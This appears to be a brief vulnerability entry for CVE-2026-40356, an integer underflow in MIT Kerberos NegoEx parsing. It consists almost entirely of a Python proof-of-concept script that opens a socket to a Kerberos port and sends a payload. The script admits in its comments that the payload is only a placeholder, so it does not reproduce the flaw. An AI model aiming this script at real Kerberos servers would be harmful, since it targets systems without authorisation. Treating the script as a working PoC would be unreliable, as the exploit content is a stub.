CVE-2026-40356 MIT Kerberos 整数下溢致越界读取漏洞

import socket # Target configuration target_ip = "127.0.0.1" target_port = 88 # Default Kerberos port # Malformed payload to trigger integer underflow in NegoEx parsing # Note: This is a conceptual PoC demonstrating the network interaction. # Actual exploit requires specific NegoEx token crafting. payload = b"\x60\x00\x00\x00" # Simplified ASN.1/GSSAPI structure placeholder def send_exploit(): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # Send the malicious payload s.send(payload) print("[+] Payload sent successfully") # Optional: Receive response to check if service crashed response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error occurred: {e}") finally: s.close() if __name__ == "__main__": send_exploit()